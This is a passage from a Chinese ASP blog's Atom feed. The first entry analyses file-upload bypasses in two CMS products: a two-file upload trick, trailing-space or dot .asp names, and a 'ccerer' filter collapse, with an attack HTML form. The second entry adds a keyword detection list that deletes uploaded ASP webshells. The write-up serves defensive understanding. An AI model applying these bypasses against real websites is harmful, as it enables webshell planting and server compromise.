部分源码:<br/>&lt;%<br/>Const UpFileType=&#34;rar|gif|jpg|bmp|swf|mid|mp3&#34; &#39;//允许的上传文件类型<br/>Const SaveUpFilesPath=&#34;../../UploadFiles&#34; &#39;//存放上传文件的目录,注:以上两个常量均在config.asp文件内定义<br/>dim upload,oFile,formName,SavePath,filename,fileExt //变量定义<br/>…………………… <br/>FoundErr=false &#39;//此为是否允许上传的变量,初始化为假,表示可以上传。<br/>EnableUpload=false &#39;//此为上传文件扩展名是否合法的变量,初始化为假,表示的是不合法。<br/>SavePath = SaveUpFilesPath &#39;//存放上传文件的目录<br/>……………………<br/>sub upload_0() &#39;//使用化境无组件上传<br/>set upload=new upfile_class &#39;//建立上传对象<br/>……………………<br/>for each formName in upload.file &#39;//用For循环读取上传的文件。 <br/>set ofile=upload.file(formName) &#39;//生成一个文件对象<br/>……………………<br/>fileExt=lcase(ofile.FileExt) &#39;//将扩展名转换为小写字符<br/>arrUpFileType=split(UpFileType,&#34;|&#34;) &#39;//读取后台定义的允许的上传扩展名<br/>for i=0 to ubound(arrUpFileType) &#39;//第一关,用FOR循环读取arrUpFileType数组。<br/>if fileEXT=trim(arrUpFileType(i)) then &#39;//如果fileEXT是允许上传的扩展名<br/>EnableUpload=true &#39;//EnableUpload为真,表示该文件合法。<br/>exit for <br/>end if<br/>next<br/>if fileEXT=&#34;asp&#34; o&#114; fileEXT=&#34;asa&#34; o&#114; fileEXT=&#34;aspx&#34; then &#39;// 第二关,验证fileEXT是否为asp、asa、aspx扩展名。<br/>EnableUpload=false &#39;//如果属于这三项之一,那么EnableUpload就定义为假,上传文件扩展名不合法。<br/>end if<br/>if EnableUpload=false then &#39;// 第三关,验证关。如果传递到此的EnableUpload变量为假,则说明上传文件扩展名不合法。<br/>msg=&#34;这种文件类型不允许上传!\n\n只允许上传这几种文件类型:&#34; &amp; UpFileType<br/>FoundErr=true &#39;//注意:因为文件名不合法,就更改了FoundErr值,由初始的false改为true。<br/>end if<br/>strJS=&#34;&lt;SCRIPT language=javascript&gt;&#34; &amp; vbcrlf<br/>if FoundErr&lt;&gt;true then &#39;//第四关,上传关。如果FoundErr不等于true才可以上传。<br/>randomize<br/>ranNum=int(900*rnd)+100<br/>filename=SavePath&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;&#34;.&#34;&amp;fileExt &#39;//定义filename,其值为固定的路径名+年月日及随机值生成的名称+传递过来的fileExt扩展名。<br/>ofile.SaveToFile Server.mappath(FileName) &#39;//保存文件<br/>msg=&#34;上传文件成功!&#34;<br/>…………………… <br/>next<br/>set upload=nothing<br/>end sub <br/>%&gt;<br/>在这段源码中,用到了两个FOR循环、两个逻辑变量。“for each formName in upload.file”用于取得所有上传的文件名;“for i=0 to ubound(arrUpFileType) ”用于检测文件扩展名。而两个逻辑变量是EnableUpload和FoundErr。EnableUpload用于表示文件扩展名的合法性,True表示合法;而FoundErr则用于表示文件是否可以上传,False表示可以上传。如果我们上传的是一个文件,那此段代码是无懈可击的。但要上传两个呢?下面让我们看一下上传多个文件的流程:<br/>首先,构造一个有两个上传框的本地Htm文件,Htm代码如下:<br/>&lt;form action=&#34;<a href="http://www." target="_blank">http://www.</a>***.com/admin/Article/Upfile_AdPic.asp&#34; method=&#34;post&#34; name=&#34;form1&#34;&gt;<br/>&lt;input name=&#34;FileName1&#34; type=&#34;FILE&#34; class=&#34;tx1&#34; size=&#34;40&#34;&gt;<br/>&lt;input name=&#34;FileName&#34; type=&#34;FILE&#34; class=&#34;tx1&#34; size=&#34;40&#34;&gt;<br/>&lt;input type=&#34;submit&#34; name=&#34;Submit&#34; value=&#34;上传&#34; &gt;<br/>&lt;/form&gt;<br/>运行此Htm,在第一个框内选择一个jpg图片,文件名为“111.jpg”,在第二个框内选择一个Cer文件,文件名为“222.cer”,点“上传”把这两个文件同时提交给程序。接着到Upfile_AdPic.asp中观察这两个文件的上传流程(注意其中逻辑变量的变化)。<br/>1)在进入第一个FOR(读取文件名)之前,程序先将变量FoundErr定义为false、EnableUpload定义为false,然后读取文件名。先验证第一个文件111.jpg,在验证的第一关,jpg属于允许上传的类型,变量EnableUpload=true。<br/>2)接着到第二关,检验是否属于三种禁传类型,因为不属于,变量EnableUpload仍为true。<br/>3)再到第三关卡,如果EnableUpload=false,那么FoundErr=true,而前面传递来的EnableUpload=true,那FoundErr仍为进入第一个FOR循环之前的false。<br/>4)最后进入第四关,此关的验证是:如果FoundErr&lt;&gt;true就可以通过,看一下从第三关传递过来的FoundErr的值,是false那么就可以上传。这里请注意,在111.jpg上传后,EnableUpload的值保持为true,FoundErr的值是false。<br/>5)接着程序读取第二个文件222.cer,进入第一关验证是否为允许上传类型,如果cer属于此范围就将EnableUpload定义为true。而cer不属于,所以就保持原值。EnableUpload的原值是什么?看一下111.jpg上传后的变量值:“EnableUpload的值保持为true”,那么此时cer文件的EnableUpload值就是true了。<br/>6)再到第二关,cer同样不属于此限制范围,又跳过IF语句。再看EnableUpload的值,仍保持为true。<br/>7)又到第三关了,因为EnableUpload=true,跳过了此关验证。直接进入第四关,这时回头看一下FoundErr的值,自cer进行上传验证开始,一直未出现FoundErr,FoundErr的值到现在还是false。接下来是第四关的验证。这里只要FoundErr不是true就可以上传,所以cer文件就这样通过了层层关卡,进入到服务器。<br/>除了cer格式,还可以上传asp□、asp.的文件,方法很简单:将上传框中的asp名称加入空格或小数点。而上传到服务器中的asp□或asp.的扩展名,因为Windows文件命名规则,会自动去除后面的空格和小数点,保存的就是asp格式了。<br/>2、动感商务2005<br/>接下来介绍动感商务2005的上传漏洞。动易是由于上传多个文件引起的漏洞,而动感则是因为文件名过滤不严出现上传漏洞。下面是动感2005上传upfile.asp中的部分源码:<br/>&lt;%<br/>Private Sub SaveFile_0() &#39;//无组件上传<br/>……………………<br/>Set File = UploadObj.File(FormName) &#39;//取得上传文件名<br/>FileExt = FixName(File.FileExt) &#39;//第一步、用FixName函数过滤上传文件的扩展名<br/>If CheckFileExt(FileExt) = False then &#39;//第二步、用CheckFileExt检查过滤后的文件扩展名<br/>ErrCodes = 5<br/>EXIT SUB &#39;//退出上传<br/>End If<br/>FileName = FormatName(FileExt) &#39;//符合条件的话,就用FormatName函数按日期生成文件名<br/>……………………<br/>If File.FileSize&gt;0 Then<br/>File.SaveToFile Server.Mappath(FilePath &amp; FileName) &#39;//保存的文件路径及名称是Filepath+FileName<br/>……………………<br/>End Sub<br/>%&gt;<br/>我们看一下上传所涉及到的一些参数。<br/>A、FixName()函数:<br/>Private Function FixName(Byval UpFileExt) &#39;//第一步的过滤函数,过滤特殊扩展名。<br/>If IsEmpty(UpFileExt) Then Exit Function &#39;//如扩展名为空就退出交互<br/>FixName = Lcase(UpFileExt) &#39;//将扩展名转换为小写字符。<br/>FixName = Replace(FixName,Chr(0),&#34;&#34;) &#39;//将二进制的00空字符过滤为空<br/>FixName = Replace(FixName,&#34;.&#34;,&#34;&#34;) &#39;//将单引号过滤为空,下同。<br/>FixName = Replace(FixName,&#34;&#39;&#34;,&#34;&#34;)<br/>FixName = Replace(FixName,&#34;asp&#34;,&#34;&#34;)<br/>FixName = Replace(FixName,&#34;asa&#34;,&#34;&#34;)<br/>FixName = Replace(FixName,&#34;aspx&#34;,&#34;&#34;)<br/>FixName = Replace(FixName,&#34;cer&#34;,&#34;&#34;)<br/>FixName = Replace(FixName,&#34;cdx&#34;,&#34;&#34;)<br/>FixName = Replace(FixName,&#34;htr&#34;,&#34;&#34;)<br/>FixName = Replace(FixName,&#34;sHtml&#34;,&#34;&#34;)<br/>End Function<br/>从中我们可以看出,应用程序Asp.dll映射的类型全部过滤了。除此之外,小数点、单引号也被过滤,甚至连Chr(0)都过滤了。<br/>小知识:Chr(0)是什么?它就是16进制的0x00,表示为二进制是00000000,也就是前面在FilePath上传漏洞中大显神通的空字符。<br/>B、CheckFileExt()函数:<br/>Private Function CheckFileExt(FileExt) &#39;//第二步的判断函数,判断文件类型是否合乎要求<br/>Dim Forumupload,i<br/>CheckFileExt=False &#39;//定义CheckFileExt的初始值为假,<br/>If FileExt=&#34;&#34; o&#114; IsEmpty(FileExt) Then &#39;//第一次、为空则退出<br/>CheckFileExt = False<br/>Exit Function<br/>End If<br/>If FileExt=&#34;asp&#34; o&#114; FileExt=&#34;asa&#34; o&#114; FileExt=&#34;aspx&#34; o&#114; FileExt=&#34;sHtml&#34; Then &#39;//第二次、如果属于这四种类型也退出交互<br/>CheckFileExt = False<br/>Exit Function<br/>End If<br/>Forumupload = Split(InceptFile,&#34;,&#34;) &#39;//第三次、从InceptFile中提取后台的上传扩展名<br/>For i = 0 To ubound(Forumupload) &#39;//用For循环检验<br/>If FileExt = Trim(Forumupload(i)) Then &#39;//如果和后台中的任一上传扩展名相符,则CheckFileExt = True。<br/>CheckFileExt = True<br/>Exit Function<br/>Else<br/>CheckFileExt = False<br/>End If<br/>Next<br/>End Function<br/>此函数对经过FixName()过滤后的扩展名再次判断,其中有三次检查:第一次判断传递过来的扩展名是否为空,为空则退出上传。第二次判断扩展名是否属于asp、asa等四种限传类型,属于也退出上传。第三次用该扩展名同后台内自定义的上传扩展名进行对比,符合则允许上传。<br/>C、FilePath值:<br/>其所用到的filepath在upload.asp中,其值如下:<br/>if info_name=&#34;bbs&#34; then<br/>FilePath = &#34;/bbs/upload/&#34;<br/>else<br/>FilePath = &#34;/uploadpic/&#34;<br/>end if<br/>FilePath是一个常量,从这条路找漏洞是行不通的。<br/>这里上传一个文件来看其验证流程,我上传的是111.cer。在用“FileExt = FixName(File.FileExt)”过滤扩展名时,因为cer属于fixName()函数的过滤范围,所以扩展名cer就成了空。当把这个空的扩展名传递给CheckFileExt(),在其进行到“If FileExt=&#34;&#34; o&#114; IsEmpty(FileExt)”语句时,会因为FileExt为空而退出交互,返回格式不正确并拒绝上传。<br/>如何突破呢?其关键点就在FixName()函数中。上面我们已经看到,在上传时cer会被过滤为空,但如果我们将上传文件扩展名改为ccerer,同时在后台的自定义上传类型中增加“ccerer”、“cer”。这样,扩展名为ccerer的文件在经过第一步FixName()的过滤后,就变成了cer(中间的cer字符被过滤为空)。传递此值到CheckFileExt()函数中,通过其第一次不为空的关卡,再通过第二次限制类型的关卡,最后到对比后台上传类型关卡。因为在前面我们已添加了“ccerer”、“cer”两种类型,所以也就通过了第三次的判断。CheckFileExt = True。这样就把扩展名为ccerer的文件上传到服务器上了,并且上传后的扩展名是cer。<br/>有的朋友可能会问,如果上传扩展名为aaspsp□或aaspsp.格式的文件,经过FixName()函数的过滤后不就变成了asp□或asp.么?而这两种格式也不在限制范围内,只要在后台中加上这几种类型,不是可以把文件保存为Asp文件么?其实当初我也有这个想法,但经过仔细的研究分析,发现此路不通。为什么?先说小数点,在FixName()中有这么一句:“FixName = Replace(FixName,&#34;.&#34;,&#34;&#34;)“,作用是将小数点过滤为空。再来看空格,虽然FixName()中没有过滤空格,但在CheckFileExt()读取后台上传类型时有这么一句:“If FileExt = Trim(Forumupload(i)) Then ”,其中有个Trim()。Trim的作用是删除字符串开始和尾部的空格。虽然在后台能写入asp□类型,但在读取时,却会被Trim()过滤成asp。而aaspsp□通过层层关卡到了此处,已经变成了asp□。asp□&lt;&gt;asp,类型不符,所以禁止上传。<br/>总而言之,上传漏洞是比较吸引眼球的。我用上面的例子对上传漏洞管中窥豹了一番,希望对各位朋友有所帮助<br/> <br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.6353.com.cn/default.asp?id=253" /> 
	  <id>http://www.6353.com.cn/default.asp?id=253</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[图片上传漏洞之ASP木马最终防御解决方案]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.6353.com.cn/</uri>
		 <email>210016@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.6353.com.cn/default.asp?cateID=5" label="Asp" /> 
	  <updated>2008-11-15T19:15:14+08:00</updated>
	  <published>2008-11-15T19:15:14+08:00</published>
		  <summary type="html"><![CDATA[最近发现我辛辛苦苦做好的行业网站老有人喜欢入上面上传些小马.心里很是恼火.想了很久终于想出了一条封杀所有ASP木马的方案出来.<br/><br/>分析图片上传代码:<br/><br/>&lt;!--#include file=&#34;upload.inc&#34;--&gt;<br/>&lt;style&gt;<br/>td{font-size:9pt;line-height:120%;color:#353535} <br/>body{font-size:9pt;line-height:120%} <br/><br/>a:link&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ color: #000000; text-decoration: none }<br/>a:visited&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { color: #000000; text-decoration: none }<br/>a:active&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ color: #000000; text-decoration: none }<br/>a:hover&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { color: #336699; text-decoration: none; position: relative; right: 0px; top: 1px }<br/>&lt;/style&gt;<br/>&lt;%<br/>set upload=new upload_file<br/>if upload.form(&#34;act&#34;)=&#34;uploadfile&#34; then<br/>filepath=trim(upload.form(&#34;filepath&#34;))<br/>filelx=trim(upload.form(&#34;filelx&#34;))<br/><br/>i=0<br/>for each formName in upload.File<br/>&nbsp;&nbsp;&nbsp;&nbsp;set file=upload.File(formName)<br/><br/>fileExt=lcase(file.FileExt) &#39;得到的文件扩展名不含有.<br/>if file.filesize&lt;250 then<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;请先选择你要上传的文件！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>response.end<br/>end if<br/>if (filelx&lt;&gt;&#34;swf&#34;) and (filelx&lt;&gt;&#34;jpg&#34;) then <br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;该文件类型不能上传！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>response.end<br/>end if<br/>if filelx=&#34;swf&#34; then<br/>if fileext&lt;&gt;&#34;swf&#34;&nbsp;&nbsp;&nbsp;&nbsp;then<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;只能上传swf格式的Flash文件！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.end<br/>end if<br/>end if<br/>if filelx=&#34;jpg&#34; then<br/>if fileext&lt;&gt;&#34;gif&#34; and fileext&lt;&gt;&#34;jpg&#34;&nbsp;&nbsp;&nbsp;&nbsp;and fileext&lt;&gt;&#34;bmp&#34; then<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;只能上传jpg、gif、bmp格式的图片！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.end<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end if<br/>end if<br/>if filelx=&#34;swf&#34; then<br/>if file.filesize&gt;(3000*1024) then<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;最大只能上传 3M 的Flash文件！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.end<br/>end if<br/>end if<br/>if filelx=&#34;jpg&#34; then<br/>if file.filesize&gt;(250*1024) then<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;最大只能上传 250K 的图片文件！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.end<br/>end if<br/>end if<br/><br/>randomize<br/>ranNum=int(90000*rnd)+10000<br/>filename=filepath&amp;session(&#34;useradmin&#34;)&amp;&#34;_&#34;&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;&#34;.&#34;&amp;fileExt<br/>%&gt;<br/>&lt;%<br/>if file.FileSize&gt;0 then&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;&#39;如果 FileSize &gt; 0 说明有文件数据<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;file.SaveAs Server.mappath(filename)&nbsp;&nbsp;&nbsp;&nbsp; &#39;&#39;保存文件<br/>&nbsp;&nbsp;&nbsp;&nbsp;file.SaveToFile Server.mappath(FileName)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;response.write file.FileName&amp;&#34;　　上传成功!　　&lt;br&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;response.write &#34;新文件名：&#34;&amp;FileName&amp;&#34;&lt;br&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;response.write &#34;新文件名已复制到所需的位置，可关闭窗口！&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if filelx=&#34;swf&#34; then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;script&gt;window.opener.document.&#34;&amp;upload.form(&#34;FormName&#34;)&amp;&#34;.size.value=&#39;&#34;&amp;int(file.FileSize/1024)&amp;&#34; K&#39;&lt;/script&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;end if<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;script&gt;window.opener.document.&#34;&amp;upload.form(&#34;FormName&#34;)&amp;&#34;.&#34;&amp;upload.form(&#34;EditName&#34;)&amp;&#34;.value=&#39;&#34;&amp;FileName&amp;&#34;&#39;&lt;/script&gt;&#34;<br/>%&gt;<br/>&lt;%<br/>end if<br/>set file=nothing<br/>next<br/>set upload=nothing<br/>end if<br/>%&gt;<br/>&lt;script language=&#34;javascript&#34;&gt;<br/>window.alert(&#34;文件上传成功!请不要修改生成的链接地址！&#34;);<br/>window.close();<br/>&lt;/script&gt;<br/><br/><br/>发现我们的这份代码非常的不安全,通过\0漏洞很快就可以轻松上传自己想要的木马.现在我们在以上代码中附加上传后的文件的验证代码.判断是否该文件存在危险操作及恶意代码.于是我们在源代码中加入以下验证代码:<br/><br/>sFile=server.mappath(FileName)<br/>set MyFile=server.Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)<br/>set MyText=MyFile.OpenTextFile(sFile, 1) &#39;读取文本文件<br/>sTextAll=lcase(MyText.ReadAll)<br/>MyText.close<br/>&#39;判断用户文件中的危险操作<br/>sStr=&#34;script &lt;% .getfolder .cr&#101;atefolder .del&#101;tefolder .cr&#101;atedirectory .del&#101;tedirectory .saveas wscript.shell script.encode&#34;<br/>sNoString=split(sStr,&#34; &#34;) <br/>for i=0 to ubound(sNoString)<br/>if instr(sTextAll,sNoString(i)) then<br/>set filedel=server.Cr&#101;ateObject (&#34;Scripting.FileSystemObject&#34;)<br/>filedel.del&#101;tefile server.mappath(FileName)<br/>response.write &#34;你的ip和时间已被纪录，由于你曾多次使用该方法对系统进行非法攻击，我们将会把你的数据向广东省公安部及网警报告!&#34;&amp;&#34;攻击IP:&#34;&amp;request.servervariables(&#34;remote_addr&#34;)&amp;&#34;,攻击时间:&#34;&amp;date()&amp;&#34; &#34;&amp;time()<br/>set MyFiletemp=server.Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)<br/>set wfile=myfiletemp.opentextfile(server.mappath(&#34;gjrz.txt&#34;),8)<br/>wfile.writeline date()&amp;&#34; &#34;&amp;time()&amp;&#34; &#34;&amp;request.servervariables(&#34;remote_addr&#34;)<br/>Response.end<br/>end if<br/>next<br/><br/>即全文代码:<br/><br/>&lt;!--#include file=&#34;upload.inc&#34;--&gt;<br/>&lt;style&gt;<br/>td{font-size:9pt;line-height:120%;color:#353535} <br/>body{font-size:9pt;line-height:120%} <br/><br/>a:link&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ color: #000000; text-decoration: none }<br/>a:visited&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { color: #000000; text-decoration: none }<br/>a:active&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ color: #000000; text-decoration: none }<br/>a:hover&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { color: #336699; text-decoration: none; position: relative; right: 0px; top: 1px }<br/>&lt;/style&gt;<br/>&lt;%<br/>set upload=new upload_file<br/>if upload.form(&#34;act&#34;)=&#34;uploadfile&#34; then<br/>filepath=trim(upload.form(&#34;filepath&#34;))<br/>filelx=trim(upload.form(&#34;filelx&#34;))<br/><br/>i=0<br/>for each formName in upload.File<br/>&nbsp;&nbsp;&nbsp;&nbsp;set file=upload.File(formName)<br/><br/>fileExt=lcase(file.FileExt) &#39;得到的文件扩展名不含有.<br/>if file.filesize&lt;250 then<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;请先选择你要上传的文件！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>response.end<br/>end if<br/>if (filelx&lt;&gt;&#34;swf&#34;) and (filelx&lt;&gt;&#34;jpg&#34;) then <br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;该文件类型不能上传！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>response.end<br/>end if<br/>if filelx=&#34;swf&#34; then<br/>if fileext&lt;&gt;&#34;swf&#34;&nbsp;&nbsp;&nbsp;&nbsp;then<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;只能上传swf格式的Flash文件！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.end<br/>end if<br/>end if<br/>if filelx=&#34;jpg&#34; then<br/>if fileext&lt;&gt;&#34;gif&#34; and fileext&lt;&gt;&#34;jpg&#34;&nbsp;&nbsp;&nbsp;&nbsp;and fileext&lt;&gt;&#34;bmp&#34; then<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;只能上传jpg、gif、bmp格式的图片！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.end<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end if<br/>end if<br/>if filelx=&#34;swf&#34; then<br/>if file.filesize&gt;(3000*1024) then<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;最大只能上传 3M 的Flash文件！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.end<br/>end if<br/>end if<br/>if filelx=&#34;jpg&#34; then<br/>if file.filesize&gt;(250*1024) then<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;span style=&#34;&#34;font-family: 宋体; font-size: 9pt&#34;&#34;&gt;最大只能上传 250K 的图片文件！　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/span&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.end<br/>end if<br/>end if<br/><br/>randomize<br/>ranNum=int(90000*rnd)+10000<br/>filename=filepath&amp;session(&#34;useradmin&#34;)&amp;&#34;_&#34;&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;&#34;.&#34;&amp;fileExt<br/>%&gt;<br/>&lt;%<br/>if file.FileSize&gt;0 then&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;&#39;如果 FileSize &gt; 0 说明有文件数据<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;file.SaveAs Server.mappath(filename)&nbsp;&nbsp;&nbsp;&nbsp; &#39;&#39;保存文件<br/>&nbsp;&nbsp;&nbsp;&nbsp;file.SaveToFile Server.mappath(FileName)<br/>&nbsp;&nbsp;&nbsp;&nbsp;sFile=server.mappath(FileName)<br/>set MyFile=server.Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)<br/>set MyText=MyFile.OpenTextFile(sFile, 1) &#39;读取文本文件<br/>sTextAll=lcase(MyText.ReadAll)<br/>MyText.close<br/>&#39;判断用户文件中的危险操作<br/>sStr=&#34;script &lt;% .getfolder .cr&#101;atefolder .del&#101;tefolder .cr&#101;atedirectory .del&#101;tedirectory .saveas wscript.shell script.encode&#34;<br/>sNoString=split(sStr,&#34; &#34;) <br/>for i=0 to ubound(sNoString)<br/>if instr(sTextAll,sNoString(i)) then<br/>set filedel=server.Cr&#101;ateObject (&#34;Scripting.FileSystemObject&#34;)<br/>filedel.del&#101;tefile server.mappath(FileName)<br/>response.write &#34;你的ip和时间已被纪录，由于你曾多次使用该方法对系统进行非法攻击，我们将会把你的数据向广东省公安部及网警报告!&#34;&amp;&#34;攻击IP:&#34;&amp;request.servervariables(&#34;remote_addr&#34;)&amp;&#34;,攻击时间:&#34;&amp;date()&amp;&#34; &#34;&amp;time()<br/>set MyFiletemp=server.Cr&#101;ateObject(&#34;Scripting.FileSystemObject&#34;)<br/>set wfile=myfiletemp.opentextfile(server.mappath(&#34;gjrz.txt&#34;),8)<br/>wfile.writeline date()&amp;&#34; &#34;&amp;time()&amp;&#34; &#34;&amp;request.servervariables(&#34;remote_addr&#34;)<br/>Response.end<br/>end if<br/>next<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;response.write file.FileName&amp;&#34;　　上传成功!　　&lt;br&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;response.write &#34;新文件名：&#34;&amp;FileName&amp;&#34;&lt;br&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;response.write &#34;新文件名已复制到所需的位置，可关闭窗口！&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if filelx=&#34;swf&#34; then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;script&gt;window.opener.document.&#34;&amp;upload.form(&#34;FormName&#34;)&amp;&#34;.size.value=&#39;&#34;&amp;int(file.FileSize/1024)&amp;&#34; K&#39;&lt;/script&gt;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;end if<br/>&nbsp;&nbsp;&nbsp;&nbsp;response.write &#34;&lt;script&gt;window.opener.document.&#34;&amp;upload.form(&#34;FormName&#34;)&amp;&#34;.&#34;&amp;upload.form(&#34;EditName&#34;)&amp;&#34;.value=&#39;&#34;&amp;FileName&amp;&#34;&#39;&lt;/script&gt;&#34;<br/>%&gt;<br/>&lt;%<br/>end if<br/>set file=nothing<br/>next<br/>set upload=nothing<br/>end if<br/>%&gt;<br/>&lt;script language=&#34;javascript&#34;&gt;<br/>window.alert(&#34;文件上传成功!请不要修改生成的链接地址！&#34;);<br/>window.close();<br/>&lt;/script&gt;<br/><br/><br/><br/>因此只要他上传的文件中含有:&lt;%,script ,encode等等脚本代码或者ASP代码,通通删除上传的文件.并作出警告.即使他把ASP木马加密也难逃被杀的命运.<br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.6353.com.cn/default.asp?id=252" /> 
	  <id>http://www.6353.com.cn/default.asp?id=252</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ASP上传漏洞防范]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.6353.com.cn/</uri>
		 <email>210016@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.6353.com.cn/default.asp?cateID=5" label="Asp" /> 
	  <updated>2008-11-15T19:12:30+08:00</updated>
	  <published>2008-11-15T19:12:30+08:00</published>
